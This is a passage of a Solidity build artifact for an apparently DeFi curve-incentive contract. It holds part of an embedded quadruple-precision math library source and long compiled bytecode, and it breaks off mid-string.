*\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"}},\"version\":1}", - "bytecode": "0x60a06040526000805461ffff60a01b191661010160a01b17905562000038670de0b6b3a76400006200009b602090811b620008b417901c565b6001600160801b0319166080523480156200005257600080fd5b5060405162001eac38038062001eac8339810160408190526200007591620001b5565b600080546001600160a01b0319166001600160a01b0392909216919091179055620001e5565b600081620000ac5750600062000103565b816000620000ba8262000108565b90506070811015620000d5578060700382901b9150620000e9565b6070811115620000e9576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b60008082116200011757600080fd5b6000600160801b83106200012d57608092831c92015b6801000000000000000083106200014657604092831c92015b64010000000083106200015b57602092831c92015b6201000083106200016e57601092831c92015b61010083106200018057600892831c92015b601083106200019157600492831c92015b60048310620001a257600292831c92015b60028310620001af576001015b92915050565b600060208284031215620001c7578081fd5b81516001600160a01b0381168114620001de578182fd5b9392505050565b6080516001600160801b031916611c9a6200021260003960008181610ed50152610f240152611c9a6000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c80636e22230d1161005b5780636e22230d146100fd5780639679e3a314610110578063a913592114610124578063b1c6bd751461013857610088565b806342db95501461008d578063481c6a75146100a25780635a5759b4146100d25780636cce8e1f146100f5575b600080fd5b6100a061009b366004611bd7565b610140565b005b6000546100b5906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100e56100e0366004611b4f565b6102ea565b60405190151581526020016100c9565b6100a061030c565b6100a061010b366004611b87565b61048e565b6000546100e590600160a01b900460ff1681565b6000546100e590600160a81b900460ff1681565b6100a0610732565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561018d57600080fd5b505afa1580156101a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c59190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561020257600080fd5b505afa158015610216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061023a9190611c0f565b61028b5760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e0000000000000060448201526064015b60405180910390fd5b6001600160a01b038216600081815260016020908152604091829020805460ff191685151590811790915591519182527f9226cd0a5a90eb4694e1351c175c4ad131831340dc7a82c2d7693683c1b5afff910160405180910390a25050565b6001600160a01b03811660009081526001602052604090205460ff165b919050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561035957600080fd5b505afa15801561036d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103919190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156103ce57600080fd5b505afa1580156103e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104069190611c0f565b6104525760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e000000000000006044820152606401610282565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff1615909102179055565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105129190611b6b565b6001600160a01b0316336001600160a01b03161461057c5760405162461bcd60e51b815260206004820152602160248201527f4375727665496e63656e746976653a2043616c6c6572206973206e6f742075416044820152601160fa1b6064820152608401610282565b826001600160a01b0316846001600160a01b031614156105de5760405162461bcd60e51b815260206004820181905260248201527f4375727665496e63656e746976653a2063616e6e6f742073656e642073656c666044820152606401610282565b60008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561062a57600080fd5b505afa15801561063e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106629190611b6b565b6001600160a01b0316846001600160a01b03161415610685576106858382610919565b60008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d157600080fd5b505afa1580156106e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107099190611b6b565b6001600160a01b0316836001600160a01b0316141561072c5761072c8482610a4c565b50505050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561077f57600080fd5b505afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107f457600080fd5b505afa158015610808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c9190611c0f565b6108785760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e000000000000006044820152606401610282565b600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff8116600160a81b9182900460ff1615909102179055565b6000816108c357506000610307565b8160006108cf82610d16565b905060708110156108e8578060700382901b91506108fb565b60708111156108fb576070810382901c91505b613fff0160701b6001600160701b03919091161760801b9050610307565b610921610dc7565b61092a826102ea565b8061093f5750600054600160a81b900460ff16155b1561094957610a48565b600061095482610e99565b90508015610a465760008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611b6b565b6040516340c10f1960e01b81526001600160a01b0385811660048301526024820184905291909116906340c10f19906044015b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505b505b5050565b610a54610dc7565b610a5d826102ea565b80610a725750600054600160a01b900460ff16155b15610a7c57610a48565b6000610a8782610e99565b90508015610a4657818110610ade5760405162461bcd60e51b815260206004820152601f60248201527f446f6c6c61723a206275726e20657863656564732074726164652073697a65006044820152606401610282565b610ae88282611c43565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3457600080fd5b505afa158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190611b6b565b6040516370a0823160e01b81526001600160a01b03868116600483015291909116906370a082319060240160206040518083038186803b158015610baf57600080fd5b505afa158015610bc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be79190611c2b565b1015610c5b5760405162461bcd60e51b815260206004820152602860248201527f446f6c6c61723a2062616c616e636520746f6f206c6f7720746f20676574207060448201527f656e616c697a65640000000000000000000000000000000000000000000000006064820152608401610282565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca757600080fd5b505afa158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf9190611b6b565b60405163079cc67960e41b81526001600160a01b0385811660048301526024820184905291909116906379cc679090604401610a13565b6000808211610d2457600080fd5b60007001000000000000000000000000000000008310610d4657608092831c92015b680100000000000000008310610d5e57604092831c92015b6401000000008310610d7257602092831c92015b620100008310610d8457601092831c92015b6101008310610d9557600892831c92015b60108310610da557600492831c92015b60048310610db557600292831c92015b60028310610dc1576001015b92915050565b60008054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1357600080fd5b505afa158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190611b6b565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e8557600080fd5b505af115801561072c573d6000803e3d6000fd5b6000610ea3610dc7565b6000610ead610f71565b9050670de0b6b3a76400008110610ec8576000915050610307565b6000610f69610f5a610f0d7f0000000000000000000000000000000000000000000000000000000000000000610efd886108b4565b6001600160801b03191690611106565b610f4a610f19866108b4565b6001600160801b03197f0000000000000000000000000000000000000000000000000000000000000000169061142e565b6001600160801b03191690611447565b6001600160801b0319166116be565b949350505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff89190611b6b565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561105257600080fd5b505afa158015611066573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108a9190611b6b565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156110c957600080fd5b505afa1580156110dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111019190611c2b565b905090565b6000617fff60f084811c8216919084901c81169082141561114c5780617fff141561113b575061ffff60ef1b9150610dc19050565b505050600160ff1b81168218610dc1565b80617fff141561119d577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561118c575061ffff60ef1b9150610dc19050565b505050808218600160ff1b16610dc1565b6f7fffffffffffffffffffffffffffffff60801b84166111f9576f7fffffffffffffffffffffffffffffff60801b85166111e1575061ffff60ef1b9150610dc19050565b505050808218600160ff1b16617fff60f01b17610dc1565b6001600160701b03608085901c1681611215576001915061121c565b600160701b175b6001600160701b03608087901c168361125b57801561125657600061124082610d16565b6001955060e20393840160711901939190911b90505b611265565b600160701b1760721b5b81818161128257634e487b7160e01b600052601260045260246000fd5b049050806112af57600160ff1b8787181661129e5760006112a4565b600160ff1b5b945050505050610dc1565b6d10000000000000000000000000008110156112db57634e487b7160e01b600052600160045260246000fd5b60006e08000000000000000000000000000082101561133c576e040000000000000000000000000000821015611331576e02000000000000000000000000000082101561132957607061132c565b60715b611334565b60725b60ff16611345565b61134582610d16565b90508361407101818601111561136357617fff9450600091506113f6565b83818601613ffc01101561137e5760009450600091506113f6565b83818601613f8c0110156113cb578385613ffc0111156113a9578385613ffc010382901b91506113c2565b8385613ffc0110156113c257613ffc8585030382901c91505b600094506113f6565b60708111156113de576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610dc1565b600061144083600160ff1b8418611742565b9392505050565b6000617fff60f084811c8216919084901c8116908214156114ef5780617fff14156114c5576001600160801b0319858116908516141561149257505050600160ff1b81168218610dc1565b600160ff1b6001600160801b03198686181614156114b557505050818117610dc1565b5061ffff60ef1b9150610dc19050565b6f7fffffffffffffffffffffffffffffff60801b841661113b575061ffff60ef1b9150610dc19050565b80617fff1415611534576f7fffffffffffffffffffffffffffffff60801b8516611523575061ffff60ef1b9150610dc19050565b505050600160ff1b82168118610dc1565b6001600160701b03608086901c16826115505760019250611557565b600160701b175b6001600160701b03608086901c1682611573576001925061157a565b600160701b175b908102908161159757600160ff1b8787181661129e5760006112a4565b928201926000600160e11b8310156115cb57600160e01b8310156115c3576115be83610d16565b6115c6565b60e05b6115ce565b60e15b905061407081860110156115e9576000945060009250611686565b6140e0818601101561162c5761407085101561160e57846140700383901c9250611623565b61407085111561162357614070850383901b92505b60009450611686565b61c0dd818601111561164657617fff945060009250611686565b607081111561165d576070810383901c9250611670565b6070811015611670578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610dc1565b6000617fff60f083901c16613fff8110156116dd576000915050610307565b6001607f1b608084901c106116f157600080fd5b6140fe81111561170057600080fd5b600160701b6001600160701b03608085901c161761406f82101561172a5761406f8290031c611440565b61406f8211156114405761406e1982011b9392505050565b6000617fff60f084811c8216919084901c8116908214156117905780617fff1415611786576001600160801b031985811690851614156114b5578492505050610dc1565b8492505050610dc1565b80617fff14156117a4578392505050610dc1565b6001607f1b608086901c90811015906001600160701b0316836117ca57600193506117d1565b600160701b175b6001607f1b608087901c90811015906001600160701b0316846117f757600194506117fe565b600160701b175b8261182e576001600160801b03198816600160ff1b1461181e5787611821565b60005b9650505050505050610dc1565b8061184e576001600160801b03198916600160ff1b1461181e5788611821565b84860384151583151514156119855760708113156118755789975050505050505050610dc1565b60008113156118875790811c906118b6565b606f198112156118a05788975050505050505050610dc1565b60008112156118b6578060000384901c93508596505b928101926e02000000000000000000000000000084106118dc576001968701969390931c925b86617fff141561192657846118f657617fff60f01b611918565b7fffff0000000000000000000000000000000000000000000000000000000000005b975050505050505050610dc1565b600160701b84101561193b5760009650611948565b6001600160701b03841693505b83607088901b8661195a576000611960565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b975050505050505050610dc1565b60008113156119a057600184901b93506001870396506119b7565b60008112156119b757600182901b91506001860396505b60708113156119c95760019150611a16565b60018113156119e6576001810360018303901c6001019150611a16565b606f198112156119f95760019350611a16565b600019811215611a16576001816000030360018503901c60010193505b818410611a27578184039350611a30565b83820393508294505b83611a46575060009650610dc195505050505050565b6000611a5185610d16565b90508060711415611a7757600185901c6001600160701b03169450600188019750611ac6565b6070811015611ab957607081900380891115611aa6578086901b6001600160701b031695508089039850611ab3565b600098600019019590951b945b50611ac6565b6001600160701b03851694505b87617fff1415611b115785611ae057617fff60f01b611b02565b7fffff0000000000000000000000000000000000000000000000000000000000005b98505050505050505050610dc1565b84607089901b87611b23576000611b29565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b98505050505050505050610dc1565b600060208284031215611b60578081fd5b813561144081611c67565b600060208284031215611b7c578081fd5b815161144081611c67565b60008060008060808587031215611b9c578283fd5b8435611ba781611c67565b93506020850135611bb781611c67565b92506040850135611bc781611c67565b9396929550929360600135925050565b60008060408385031215611be9578182fd5b8235611bf481611c67565b91506020830135611c0481611c7f565b809150509250929050565b600060208284031215611c20578081fd5b815161144081611c7f565b600060208284031215611c3c578081fd5b5051919050565b60008219821115611c6257634e487b7160e01b81526011600452602481fd5b500190565b6001600160a01b0381168114611c7c57600080fd5b50565b8015158114611c7c57600080fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100885760003560e01c80636e22230d1161005b5780636e22230d146100fd5780639679e3a314610110578063a913592114610124578063b1c6bd751461013857610088565b806342db95501461008d578063481c6a75146100a25780635a5759b4146100d25780636cce8e1f146100f5575b600080fd5b6100a061009b366004611bd7565b610140565b005b6000546100b5906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100e56100e0366004611b4f565b6102ea565b60405190151581526020016100c9565b6100a061030c565b6100a061010b366004611b87565b61048e565b6000546100e590600160a01b900460ff1681565b6000546100e590600160a81b900460ff1681565b6100a0610732565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561018d57600080fd5b505afa1580156101a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c59190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561020257600080fd5b505afa158015610216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061023a9190611c0f565b61028b5760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e0000000000000060448201526064015b60405180910390fd5b6001600160a01b038216600081815260016020908152604091829020805460ff191685151590811790915591519182527f9226cd0a5a90eb4694e1351c175c4ad131831340dc7a82c2d7693683c1b5afff910160405180910390a25050565b6001600160a01b03811660009081526001602052604090205460ff165b919050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561035957600080fd5b505afa15801561036d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103919190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156103ce57600080fd5b505afa1580156103e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104069190611c0f565b6104525760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e000000000000006044820152606401610282565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff8116600160a01b9182900460ff1615909102179055565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105129190611b6b565b6001600160a01b0316336001600160a01b03161461057c5760405162461bcd60e51b815260206004820152602160248201527f4375727665496e63656e746976653a2043616c6c6572206973206e6f742075416044820152601160fa1b6064820152608401610282565b826001600160a01b0316846001600160a01b031614156105de5760405162461bcd60e51b815260206004820181905260248201527f4375727665496e63656e746976653a2063616e6e6f742073656e642073656c666044820152606401610282565b60008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561062a57600080fd5b505afa15801561063e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106629190611b6b565b6001600160a01b0316846001600160a01b03161415610685576106858382610919565b60008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d157600080fd5b505afa1580156106e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107099190611b6b565b6001600160a01b0316836001600160a01b0316141561072c5761072c8482610a4c565b50505050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561077f57600080fd5b505afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611c2b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107f457600080fd5b505afa158015610808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c9190611c0f565b6108785760405162461bcd60e51b815260206004820152601960248201527f4375727665496e63656e746976653a206e6f742061646d696e000000000000006044820152606401610282565b600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff8116600160a81b9182900460ff1615909102179055565b6000816108c357506000610307565b8160006108cf82610d16565b905060708110156108e8578060700382901b91506108fb565b60708111156108fb576070810382901c91505b613fff0160701b6001600160701b03919091161760801b9050610307565b610921610dc7565b61092a826102ea565b8061093f5750600054600160a81b900460ff16155b1561094957610a48565b600061095482610e99565b90508015610a465760008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611b6b565b6040516340c10f1960e01b81526001600160a01b0385811660048301526024820184905291909116906340c10f19906044015b600060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050505b505b5050565b610a54610dc7565b610a5d826102ea565b80610a725750600054600160a01b900460ff16155b15610a7c57610a48565b6000610a8782610e99565b90508015610a4657818110610ade5760405162461bcd60e51b815260206004820152601f60248201527f446f6c6c61723a206275726e20657863656564732074726164652073697a65006044820152606401610282565b610ae88282611c43565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3457600080fd5b505afa158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190611b6b565b6040516370a0823160e01b81526001600160a01b03868116600483015291909116906370a082319060240160206040518083038186803b158015610baf57600080fd5b505afa158015610bc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be79190611c2b565b1015610c5b5760405162461bcd60e51b815260206004820152602860248201527f446f6c6c61723a2062616c616e636520746f6f206c6f7720746f20676574207060448201527f656e616c697a65640000000000000000000000000000000000000000000000006064820152608401610282565b60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca757600080fd5b505afa158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf9190611b6b565b60405163079cc67960e41b81526001600160a01b0385811660048301526024820184905291909116906379cc679090604401610a13565b6000808211610d2457600080fd5b60007001000000000000000000000000000000008310610d4657608092831c92015b680100000000000000008310610d5e57604092831c92015b6401000000008310610d7257602092831c92015b620100008310610d8457601092831c92015b6101008310610d9557600892831c92015b60108310610da557600492831c92015b60048310610db557600292831c92015b60028310610dc1576001015b92915050565b60008054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1357600080fd5b505afa158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190611b6b565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e8557600080fd5b505af115801561072c573d6000803e3d6000fd5b6000610ea3610dc7565b6000610ead610f71565b9050670de0b6b3a76400008110610ec8576000915050610307565b6000610f69610f5a610f0d7f0000000000000000000000000000000000000000000000000000000000000000610efd886108b4565b6001600160801b03191690611106565b610f4a610f19866108b4565b6001600160801b03197f0000000000000000000000000000000000000000000000000000000000000000169061142e565b6001600160801b03191690611447565b6001600160801b0319166116be565b949350505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff89190611b6b565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561105257600080fd5b505afa158015611066573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108a9190611b6b565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156110c957600080fd5b505afa1580156110dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111019190611c2b565b905090565b6000617fff60f084811c8216919084901c81169082141561114c5780617fff141561113b575061ffff60ef1b9150610dc19050565b505050600160ff1b81168218610dc1565b80617fff141561119d577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561118c575061ffff60ef1b9150610dc19050565b505050808218600160ff1b16610dc1565b6f7fffffffffffffffffffffffffffffff60801b84166111f9576f7fffffffffffffffffffffffffffffff60801b85166111e1575061ffff60ef1b9150610dc19050565b505050808218600160ff1b16617fff60f01b17610dc1565b6001600160701b03608085901c1681611215576001915061121c565b600160701b175b6001600160701b03608087901c168361125b57801561125657600061124082610d16565b6001955060e20393840160711901939190911b90505b611265565b600160701b1760721b5b81818161128257634e487b7160e01b600052601260045260246000fd5b049050806112af57600160ff1b8787181661129e5760006112a4565b600160ff1b5b945050505050610dc1565b6d10000000000000000000000000008110156112db57634e487b7160e01b600052600160045260246000fd5b60006e08000000000000000000000000000082101561133c576e040000000000000000000000000000821015611331576e02000000000000000000000000000082101561132957607061132c565b60715b611334565b60725b60ff16611345565b61134582610d16565b90508361407101818601111561136357617fff9450600091506113f6565b83818601613ffc01101561137e5760009450600091506113f6565b83818601613f8c0110156113cb578385613ffc0111156113a9578385613ffc010382901b91506113c2565b8385613ffc0110156113c257613ffc8585030382901c91505b600094506113f6565b60708111156113de576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610dc1565b600061144083600160ff1b8418611742565b9392505050565b6000617fff60f084811c8216919084901c8116908214156114ef5780617fff14156114c5576001600160801b0319858116908516141561149257505050600160ff1b81168218610dc1565b600160ff1b6001600160801b03198686181614156114b557505050818117610dc1565b5061ffff60ef1b9150610dc19050565b6f7fffffffffffffffffffffffffffffff60801b841661113b575061ffff60ef1b9150610dc19050565b80617fff1415611534576f7fffffffffffffffffffffffffffffff60801b8516611523575061ffff60ef1b9150610dc19050565b505050600160ff1b82168118610dc1565b6001600160701b03608086901c16826115505760019250611557565b600160701b175b6001600160701b03608086901c1682611573576001925061157a565b600160701b175b908102908161159757600160ff1b8787181661129e5760006112a4565b928201926000600160e11b8310156115cb57600160e01b8310156115c3576115be83610d16565b6115c